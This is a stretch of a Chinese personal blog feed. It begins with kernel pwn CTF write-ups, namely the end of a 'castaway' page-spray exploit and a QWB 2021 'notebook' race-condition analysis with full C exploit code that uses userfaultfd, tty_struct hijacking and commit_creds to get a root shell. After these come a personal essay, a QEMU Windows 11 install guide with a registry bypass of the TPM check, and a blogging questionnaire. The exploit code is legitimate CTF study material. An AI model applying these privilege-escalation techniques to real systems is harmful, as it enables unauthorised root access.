int rootfd[2];
int socketfds[INITIAL_PAGE_SPRAY];

enum spraypage_cmd {
    ALLOC,
    FREE,
    QUIT
};

struct ipc_req_t {
    enum spraypage_cmd cmd;
    int idx;
};

struct castaway_request {
    int64_t index;
    size_t  size;
    void   *buf;
};

struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0};
char throwaway;
char root[] = "root\n";
char binsh[] = "/bin/sh\x00";
char *args[] = {"/bin/sh", NULL};

void edit(int64_t index, size_t size, void *buf)
{
    struct castaway_request r = {
        .index = index,
        .size = size,
        .buf = buf,
    };

    ioctl(fd, 0xF00DBABE, &r);
}


__attribute__((naked)) void check_and_wait()
{
    asm(
        "lea rax, [rootfd];"
        "mov edi, dword ptr [rax];"
        "lea rsi, [throwaway];"
        "mov rdx, 1;"
        "xor rax, rax;"
        "syscall;"
        "mov rax, 102;"
        "syscall;"
        "cmp rax, 0;"
        "jne finish;"
        "mov rdi, 1;"
        "lea rsi, [root];"
        "mov rdx, 5;"
        "mov rax, 1;"
        "syscall;"
        "lea rdi, [binsh];"
        "lea rsi, [args];"
        "xor rdx, rdx;"
        "mov rax, 59;"
        "syscall;"
        "finish:"
        "lea rdi, [timer];"
        "xor rsi, rsi;"
        "mov rax, 35;"
        "syscall;"
        "ret;");
}

void spraypage_send(enum spraypage_cmd cmd, int idx) {
    struct ipc_req_t req;
    req.cmd = cmd;
    req.idx = idx;
    write(sprayfd_child[1], &req, sizeof(req));
    read(sprayfd_parent[0], &req, sizeof(req));
}

void spray_pages() {
    struct ipc_req_t req;
    do {
        read(sprayfd_child[0], &req, sizeof(req));
        switch (req.cmd) {
            case ALLOC:
                socketfds[req.idx] = alloc_pages_via_sock(SIZE, req.idx);
                break;
            case FREE:
                close(socketfds[req.idx]);
                break;
            case QUIT:
                break;
            default:
                assert(0);
        }
        write(sprayfd_parent[1], &req.idx, sizeof(req.idx));
    }
    while (req.cmd != QUIT);
}

int main() {

    bind_cpu(0);
    fd = open("/dev/castaway", O_RDWR);
    if (fd < 0) {
        printf("Error opening device\n");
        return 1;
    }

    pipe(sprayfd_child);
    pipe(sprayfd_parent);
    pipe(rootfd);

    char data[0x200];;
    memset(data, 0, sizeof(data));

    puts("\033[32m[+] Start to spray pages\033[0m");
    if (!fork()) {
        unshare_setup(getuid(), getgid());
        spray_pages();
    }

    for (int i = 0; i < INITIAL_PAGE_SPRAY; i++) {
        spraypage_send(ALLOC, i);
    }

    puts("\033[32m[*] Initial pages sprayed\033[0m");
    puts("\033[32m[+] Start to free odd pages\033[0m");

    for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2) {
        spraypage_send(FREE, i);
    }

    puts("\033[32m[+] Start to spray creds\033[0m");
    printf("%p\n", &check_and_wait);
    for (int i = 0; i < CRED_JAR_SPARY; i++) {
        pid_t pid = __clone(CLONE_FLAGS, &check_and_wait);
        if (pid < 0) {
            errExit("clone");
        }
    }

    puts("\033[32m[+] Start to spray vulnerabilities\033[0m");
    for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2) {
        spraypage_send(FREE, i);
    }

    *(uint32_t *)(&data[0x200-6]) = 1;
    for (int i = 0; i < VULN_SPRAY; i++) {
        ioctl(fd, 0xcafebabe);
        edit(i, 0x200, data);
    }

    puts("\033[32m[+] Let's roll\033[0m");

    write(rootfd[1], data, sizeof(data));
    sleep(1000000000);
}

注意它仍然有概率失败。

现在,让我们来看一看这些数字的选择:

  • INITIAL_PAGE_SPRAY:我们喷了 1000 个页面,这显然有助于我们耗尽 low-order 页面,拆出 high-order 页面。注意,这里我们首先肯定也会先把 low-order 的页面放入 low-order 的 free-area 里,然后才会把奇数的页面放入。
  • CRED_JAR_SPRAY: 我们喷了 512 个。一个 cred_jar 是 32 个 slub,这就相当于 0x10 个页面,其实很少,可以多喷一些,不过由于我们 VULN_SPRAY 被限定了 400 个,也就是 50 个页,所以其实太大也没用,够不到了。
  • VULN_SPRAY: 给 400 个我们就喷 400 个吧

「Kernel Pwn」从强网杯 2021 notebook 理解 RaceCondition 做法

2024年10月31日 08:00

我是 Kernel Pwn 新手

附件 GitHub 随便搜 qwb2021 就有

分析

noteadd

image-20241031142916722

显然有一个非常奇怪的逻辑:在拿到 size 之后,它首先设置了 notebook[idx].size,如果不合法再把它设置回来,那么不难想到,如果我们有一个地方根据这个 size 来做一些逻辑,那么我们就有竞争的窗口,或者说把一个不合法的 size 修改为合法的。

有人可能会说:这不是上锁了吗?确实。但是谁在写操作里上读锁啊?显然只要没有写锁被 hold 的话,持有读锁的线程都可以并发访问这个临界区资源。

notedel

image-20241031143209266

同样奇怪的逻辑。只有在 size 域存在的时候才会清空 v3->note。那么显然如果 del 的时候这个 note size 域为 0 就不会清空它。但是他拿的是写锁,所以不能和 add 联动造 uaf

noteedit

image-20241031143856161

对于 edit,它拿的也是读锁,并且会调用 krealloc。如果 v5->size 是 0,那么就会清理 note 字段。值得注意的是,这里没有对 size 域的限制。

如果我们的某个线程 krealloc(0),然后卡在 copy_from_user 处,其实就造了一个 UAF 出来。只不过,由于他接下来还需要检测 size 段,所以我们还需要把它改回去。如果继续用 edit,那么没办法卡 copy_from_user,因为此时已经重新分配了。

如果说我们卡另一个 realloc 原本大小,那么这个竞争窗口又太小了,因为我们必须保证 size = v5->size 的时候它还是原本的 size,然后在执行后面 if (size == newsize) 的时候我们另一个线程已经完成了 realloc(0) 并且在等待 copy_from_user。

因此,其实我们可以使用 noteadd,因为它先修改大小,然后再接受 copy_from_user,此时我们可以人为控制这个窗口。当卡在 realloc(0) 的 copy_from_user 时,我们进行 add,然后等到跑到 noteadd 的 copy_from_user 时我们再继续接下来的攻击,这样就有了一个可靠的竞争利用。

notegift

image-20241031144057570

直接把 notebook 给我们了,那堆地址啥的也有了。

mynote_read

image-20241031144311861

读,没有锁

mynote_write

image-20241031144354846

写,也没锁。

思路

1、userfaultfd + tty_struct

显然用 userfaultfd 是最容易达成 UAF 的,因为我们可以把 copy_from_user 传数据的那个页搞成 Anouymous 的,然后第一次访问就会造成缺页异常,进而进入到我们自己的 handler 里。

因此我们可以用 tty_struct 来泄露内核地址,并且能够通过伪造 tty_operations 来进行提权。在 write 操作的时候 rax 寄存器是 tty_struct 的地址,因此我们可以在这个上面布置 ROP 链子,从而将栈迁移到我们的 notebook 上,从而完成提权。

为了达成我们 raceCondition 的顺序,我们可以使用信号量来做。

我们添加一个 chunk,然后 edit 它的大小为 0,此时 copy_from_user 触发缺页异常,我们激活 add,然后让他修改 size,接着继续触发缺页异常。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <semaphore.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/syscall.h>

#define DEBUG 1
#include "kernel.h"


sem_t add_sem, edit_sem;

struct Note {
    size_t idx;
    size_t size;
    void *content;
};

struct KNote {
    void* ptr;
    size_t size;
};

struct KNote notes[0x10];

pthread_t monitor_thread, add_thread, edit_thread;
char *uffd_buf;



int fd;

void add(int idx, int size, char *content) {
    struct Note note;
    note.idx = idx;
    note.size = size;
    note.content = content;

    ioctl(fd, 0x100, &note);
}

void delete(int idx) {
    struct Note note;
    note.idx = idx;
    ioctl(fd, 0x200, &note);
}

void edit(int idx, int size, char *content) {
    struct Note note;
    note.idx = idx;
    note.size = size;
    note.content = content;

    ioctl(fd, 0x300, &note);
}

void gift(void *buf) {
    struct Note note = {
        .content = buf
    };
    ioctl(fd, 100, &note);
}

void note_read(int idx, void *buf) {
    read(fd, buf, idx);
}

void note_write(int idx, void *buf) {
    write(fd, buf, idx);
}

void stuck() {
    puts("[+] Stuck");
    sleep(100000);
}

void add_thread_func() {
    sem_wait(&add_sem);
    add(0, 0x20, uffd_buf);
}

void edit_thread_func() {
    sem_wait(&edit_sem);
    edit(0, 0, uffd_buf);
}

int main() {
    int tty_fd;
    size_t tty_buf[0x100];
    save_status();
    bind_cpu(0);


    fd = open("/dev/notebook", O_RDWR);
    if (fd < 0) {
        perror("open fd");
        exit(EXIT_FAILURE);
    }
    sem_init(&add_sem, 0, 0);
    sem_init(&edit_sem, 0, 0);

    uffd_buf = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    register_userfaultfd_with_default_handler(&monitor_thread, uffd_buf, 0x1000, stuck);

    add(0, 0x20, "add");
    edit(0, 0x2e0, "tty");

    pthread_create(&add_thread, NULL, (void *)add_thread_func, NULL);
    pthread_create(&edit_thread, NULL, (void *)edit_thread_func, NULL);

    sem_post(&edit_sem);
    sleep(1);
    sem_post(&add_sem);
    sleep(1);

    puts("[+] UAF");  // 0->ptr = freed_chunk

    tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    note_read(0, tty_buf);
    kernel_base = tty_buf[3] - 0xe8e440;
    printf("[+] kernel_base = 0x%lx\n", kernel_base);
}

在这里,我们用了两个信号量来做,这样的话方便控制一些,对于缺页的页只需要 stuck 就完事了。有了 UAF 之后,我们可以简单的使用 write 来进行提权。

后面的东西我们不再介绍,gift 拿到 heap 之后伪造 tty_operations,然后利用 work_for_cpu_fn 来分布执行拿到 shell 即可

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <semaphore.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/syscall.h>

#define DEBUG 1
#include "kernel.h"

size_t WORK_FOR_CPU_FN = 0xffffffff8109eb90;
size_t PREPARE_KERNEL_CRED = 0xffffffff810a9ef0;
size_t COMMIT_CREDS = 0xffffffff810a9b40;

char tmp_buf[0x1000];

sem_t add_sem, edit_sem;

struct Note {
    size_t idx;
    size_t size;
    void *content;
};

struct KNote {
    void* ptr;
    size_t size;
};

struct KNote notes[0x10];

pthread_t monitor_thread, add_thread, edit_thread;
char *uffd_buf;



int fd;

void add(int idx, int size, char *content) {
    struct Note note;
    note.idx = idx;
    note.size = size;
    note.content = content;

    ioctl(fd, 0x100, &note);
}

void delete(int idx) {
    struct Note note;
    note.idx = idx;
    ioctl(fd, 0x200, &note);
}

void edit(int idx, int size, char *content) {
    struct Note note;
    note.idx = idx;
    note.size = size;
    note.content = content;

    ioctl(fd, 0x300, &note);
}

void gift(void *buf) {
    struct Note note = {
        .content = buf
    };
    ioctl(fd, 100, &note);
}

void note_read(int idx, void *buf) {
    read(fd, buf, idx);
}

void note_write(int idx, void *buf) {
    write(fd, buf, idx);
}

void stuck() {
    puts("[+] Stuck");
    sleep(100000);  // stuck to prevent copy_from_user
}

void add_thread_func() {
    sem_wait(&add_sem);
    add(0, 0x60, uffd_buf);
}

void edit_thread_func() {
    sem_wait(&edit_sem);
    edit(0, 0, uffd_buf);
}

int main() {
    int tty_fd;
    size_t tty_buf[0x2e0], orig_tty_buf[0x2e0];
    struct tty_operations fake_tty_ops;
    save_status();
    bind_cpu(0);


    fd = open("/dev/notebook", O_RDWR);
    if (fd < 0) {
        perror("open fd");
        exit(EXIT_FAILURE);
    }
    sem_init(&add_sem, 0, 0);
    sem_init(&edit_sem, 0, 0);

    uffd_buf = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    register_userfaultfd_with_default_handler(&monitor_thread, uffd_buf, 0x1000, stuck);

    add(0, 0x20, "add");
    edit(0, 0x2e0, "tty");

    pthread_create(&add_thread, NULL, (void *)add_thread_func, NULL);
    pthread_create(&edit_thread, NULL, (void *)edit_thread_func, NULL);

    sem_post(&edit_sem);
    sleep(1);
    sem_post(&add_sem);
    sleep(1);

    puts("[+] UAF");  // 0->ptr = freed_chunk

    tty_fd = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    note_read(0, tty_buf);
    memcpy(orig_tty_buf, tty_buf, sizeof(tty_buf));
    kernel_offset = tty_buf[3] - 0xe8e440 - kernel_base;
    kernel_base = kernel_base + kernel_offset;
    printf("[+] kernel_base = 0x%lx\n", kernel_base);

    // fake tty_struct
    add(1, 0x20, "fake tty ops");
    edit(1, sizeof(struct tty_operations), "fake tty ops");

    fake_tty_ops.ioctl = (void *)kernel_offset + WORK_FOR_CPU_FN;
    note_write(1, &fake_tty_ops);

    gift(notes);
    printf("[+] tty_struct = %p\n", notes[0].ptr);
    printf("[+] tty_operations = %p\n", notes[1].ptr);

    tty_buf[4] = kernel_offset + PREPARE_KERNEL_CRED;
    tty_buf[5] = 0;
    tty_buf[3] = (size_t)notes[1].ptr;
    note_write(0, tty_buf);

    ioctl(tty_fd, 1, 1);

    note_read(0, tty_buf);
    tty_buf[4] = kernel_offset + COMMIT_CREDS;
    tty_buf[5] = tty_buf[6];

    note_write(0, tty_buf);
    ioctl(tty_fd, 1, 1);

    note_write(0, orig_tty_buf);

    get_root_shell();
}

拾枝杂谈 03

2024年10月29日 08:00

看到这个标题,你可能疑惑:拾枝杂谈是什么,它不是原神里的东西么?怎么就 03 了,前两篇去哪里了?

我的答案是,我也不知道。今天给学弟学妹翻我 21 年某个课的笔记的时候,意外的从我的硬盘里找到了这么一份并不完整的旧文章的备份。

没记错的话,我换了很多次博客。一开始用的是 WordPress,然后是 Hexo,或许中间还有几次跳跃,但最终在 2022/11 换到了现在的 Docusaurus。尽管我在换到 Docusaurus 时拷贝了我的旧博客, 但三年前的我为了所谓 “提高文学素养”,把一些文章放到了另一个框架的博客上。可惜的是,显然那时的我并不能正确地使用 OneDrive(其实现在也不能),所以这些文字也逐渐消失在我 “更换电子设备 / 格式化硬盘” 的数据洪流之中。

三年的时光并不遥远,却如点点星光,尽管目之所及,却触而不得。星光闪烁,每一颗星星的星等各有不同,我们总会对更亮的星星保有更深的印象,却习惯性忽略那些嵌在天空里的普通星星,直至某天它悄然湮灭。幸而,借助给学弟学妹找笔记这么一个弘扬互联网精神的举动,我恰从这般银河之中,聚焦到了这一颗极其平常的星星。

按照时间推算,她应该位于我家里的台式机上,但大概是在某一次备份过程中,又被转移到了我 21 年的 Y9000P 上,最后在不知不觉中,跟随当时换下的硬盘一路辗转,在各种数据备份 / 格式化中苟延残喘,竟奇迹地活到了我现在的台式机的机械盘上。

我做了一个梦。


我向来是不喜欢出门的,比起与三两朋友出门进行一些不知所以的交际活动,我更喜欢一个人宅在家里。

家里向来是毫无束缚的,尤其是在寒暑假的时候。我可以沉浸于外放的音乐中,也可以深入到或酣畅或慢热的游戏里;我可以幻想一个只属于我自己的世界——也算是在一定程度上消遣了自己的孤独。

所以,我实在没有理由为什么我会在那天出门,当然,我也永远不会知道了,这世间就是有这么多不可解(ふかかい)。

但我并没有与好友邀约,也毫无目的——我确切是不知道出门是为了什么的。总之,我就在公园里那些空空如也的健身器材上坐着,划着手机,从一个应用切到另一个应用,又切到另一个应用,毫无目的。天气晴朗,却突兀的出现如此一个毫无目的的闲人。

没有人会在工作日的下午三点钟对一个坐在健身器材上玩手机的初中生好奇的——就连保安也不会。这地方本就是公共场所,我也不过是一个理应不应该出现但毫无理由却出现了的闲人罢。

但你就那么向我搭话了。


我向来对生人是放不开手脚的,不如说,我连能流畅和店员讨论商品相关的东西等的最基础的交流也是高中之后才学会的。

或许我有些太慌张了吧,也或是我实在是没有想到你会搭话的理由,所以我一开始并没有理睬你,直到再三确认你是向我搭话并且我的座位底下也没有什么东西之后,我才缓慢抬起头。

“你是不是找错人了?”

“欸,不啊,说来我也不认识你,只是看你一个人在这里坐了好久有点好奇罢了,你在等谁吗?”

是因为你站在背光处么,我已经记不清楚你长什么样了。

“家里闲得太久了出来解解闷罢了。”虽然这样回复着,我的手却频繁的划着屏幕,不敢直视你,心里只想着什么时候你才会离开。

“是吗,可我看你就单单坐在这里玩手机看视频,好像也没什么区别吧。”

“总不可能一个人在这里健身吧,好蠢。”

你笑了,我很清楚的记得你的笑,却怎么也想不起来你的脸。


很奇妙的,

戛然而止。现在的我早已经想不起来三年前我写下这篇文章的意义是什么,是想要批判什么,又或是渴求什么,正如三年前的我记不清初中的我为什么会去公园的健身器材处一样。

看完这篇文章,我确有这么一份记忆恢复了。在初中假期里一个人骑着车到公园里然后坐在健身器材上发呆,而我也确有这么一份记忆,它告诉我不记得那天为什么出门 —— 或许游戏玩累了,又或者感觉孤独了。

—— 至于后面被人搭话的部分,现在的我可以很确切的说,除了 “手却频繁的划着屏幕,不敢直视(人),心里只想着什么时候(人)才会离开” 这段心理描写真有之外,其他的全部是二次元死前的幻想。

正如我想不起来为什么三年前写这篇文章一样,我现在也不知道为什么要再写一篇文章来讲它。从现在的角度来看,这就是一篇无病呻吟的二次元幻想文罢,唯一值得肯定的是文笔自我感觉还可以(至少比现在强),或许只是因为它让我想起了我短短不足为奇的 8000 天里的某一天吧。

我迫不及待地把这份碎片记录下来,期待着三年后的我阅读到她时,仍然能会心一笑,然后在群里吐槽:“2021 年的我是什么品种的傻逼”。

简单记录在服务器 Docker 上使用 Qemu 安装 Win11

2024年10月26日 08:00

大概是需要 CPU Host 才行,具体可以看 cpuinfo

首先前置条件 qemu 套装安装就不再详细说明了。

准备

下载 [Win11 镜像](Download Windows 11)

下载 virtio windows driver

安装

创建 qcow2 磁盘

qemu-img create -f qcow2 ./windows11.qcow2 120G

启动 qemu

#!/bin/sh

qemu-system-x86_64 \
  -enable-kvm \
  -smp 12,cores=6,threads=2 \
  -m 12G \
  -machine usb=on \
  -device usb-tablet \
  -cpu host \
  -vga virtio \
  -device e1000,netdev=net0 \
  -netdev user,id=net0,net=192.168.20.0/24,dhcpstart=192.168.20.20 \
  -drive file=windows11.qcow2,if=virtio \
  -drive file=virtio-win-0.1.262.iso,index=1,media=cdrom \
  -drive file=Windows.iso,index=2,media=cdrom \
  -vnc :1

其中 Windows.iso 就是 win 安装镜像,windows11.qcow2 是刚才创建的 win 磁盘,virtio 就是刚才下的 virtio driver

注意此时开启了 vnc 5091 端口,所以我用 ssh -L 5091:localhost:5091 root@ip -p port 做了 SSH 端口转发

vnc 连接

我在 arch 上用了 tigervnc

vncviewer localhost:5091

就可以进去了

之后就要绕过安装时候的 TPM,我这里使用的是注册表绕过的方案。在安装界面 shift+f10 打开 CMD 开 regedit

定位到 HKEY_LOCAL_MACHINE\SYSTEM\Setup 创建一个名为 LabConfig 的注册表键

然后创建以下 3 项目 DWORD(32 位)值,并将其值设置为1:

  • BypassTPMCheck

  • BypassSecureBootCheck

  • BypassRAMCheck

    注册表编辑器

之后一路走,就可以走到选择安装磁盘的位置。

此时选择 Load Driver,找到 virtio-win,便可以选择对应的架构

image-20241026172516934

选了之后就能看到磁盘了,之后就可以一路安装。

参考

技术|使用 QEMU 尝鲜 Windows 11

Windows 11:3 种方法轻松绕过 TPM、CPU 和安全启动检测 - 系统极客

组内资源

独立博客自省问卷 15 题

2024年10月12日 08:00

灵感源自于《独立博客自省问卷 15 题

1、你的博客更新频率是多少?

A.每周更新

B.一周数篇

  • C.一月 1-2 篇

D.几个月一篇

我感觉其实挺随意的,有些时候一周几篇,有些时候几月一篇

2、你的博客上次更新是什么时候?

A.本周

  • B.上周

C.上个月

D.上季度

改代码也算更新。

3、你的博客文章是原创的吗?

A.坚持原创

  • B.部分借鉴

C.AI 帮我写的

D.搬运别人的,而且不署名

我很希望我能完全原创的写一些内容。但是很遗憾的是,无论是技术类文章还是文字输出,我都达不到那个水平。

4、你觉得自己的文章对他人有帮助吗?

A.旨在对他人有启示

B.多少有点意义

C.每日每周流水账

  • D.自我陶醉就好,管他呢

写出来就是给以后的自己看的(以及内心深处也想给别人看)

5、你上次换博客主题/程序是什么时候?

A.上周

B.上个月

C.去年

  • D.凭良心说,我多年都是一个主题

以前爱折腾,各种换主题各种换框架。后面用了 Docusaurus 后就没改过了。

6、你上一次捣腾博客主题代码是什么时候?

A.昨天,撸代码到凌晨

B.每周必捣腾

  • C.每月有那么一次

D.一年有那么一次

心血来潮,又不知道干啥的时候就喜欢给博客主题改改,修修 BUG 调调细节。上次给博客主页加了个加速动画以及去除冗余动画的小按钮。

7、你会对博客主题进行二次开发?

A.直接配置使用,省心不折腾

  • B.时不时自己改改,搞点新花样,换图片,换字体,爽

  • C.删除主题作者版权信息,改改样式,然后自我感觉良好

D.改得面目全非,但保留原作者版权信息或注明

我首页是抄的,但是好像版权信息被我删掉了。(x

在这里补充一下:yui540/Cowardly-Witch: 『臆病な魔女は、Web サイトに魔法をかけた。』 (github.com)

这个日本老哥前端写的真的花哨,基本上就是用 CSS 实现很多动画效果。

不过 SVG 那些是我自己画的,第一次画,其实还行,哈哈

8、你多久打开自己博客自我陶醉一次?

A.每天数次

B.每周一次

  • C.看心情

D.一般都是照镜子,不看博客

9、你近期对自己博客域名什么感受?

A.想搞到一个 .COM 的域名

B.如果域名能再短几个字符就更好了

C.今年才换双拼域名了,明年再看看

  • D.目前挺好,没想法

我认为除非物理限制 —— 例如 .gal 不让注册了。不然我不再会换我的域名了。

10、你每天都会看网站的流量统计吗?

A.每天看几次,今天又多了 100PV

B.每周回顾,看看流量趋势

  • C.记得就看看

D.没有搞流量统计,都是浮云

配了 Google Analysis,但是基本不看。来源基本上都是 (direct),也就是我自己,sad

11、你通过博客的广告赚到钱了吗?

A.有,能覆盖建站费用

B.有,但付出大于收入

  • C.没考虑通过博客流量赚钱

D.拒绝广告,保证阅读体验

流量都没有,何谈变现。

但是我确实是一个不懂得把流量变现的人

12、你去浏览别人的博客/网站主要为什么?

  • A.学习别人分享的知识

B.搬运别人的内容

  • C.看看别人怎么装修博客,自己也抄一下,感觉都比自己的好

D.不爱看别人博客,自己爱写啥写啥

我很喜欢窥探别人的生活。

13、看到别人分享了一篇文章,你打开第一反应是什么?

A.哇,这域名真不错,怎么我没想到

B.哇,这网站速度真快,图片延迟加载丝滑

C.哇,这程序/主题不错,我也要抄一抄/留言问问哪里搞的

  • D.看看文章内容

文章内容永远是第一位

14、你觉得博客哪方面更重要?

A.域名

B.服务器

C.主题

  • D.内容

同上

15、近期通过写博客有哪些新收获?

  • A.知识面有拓展

B.认识了新朋友

  • C.写作水平提升

D.通过知识变现

不得不说,写作水平从小学三年级达到了四年级的水平。

❌
❌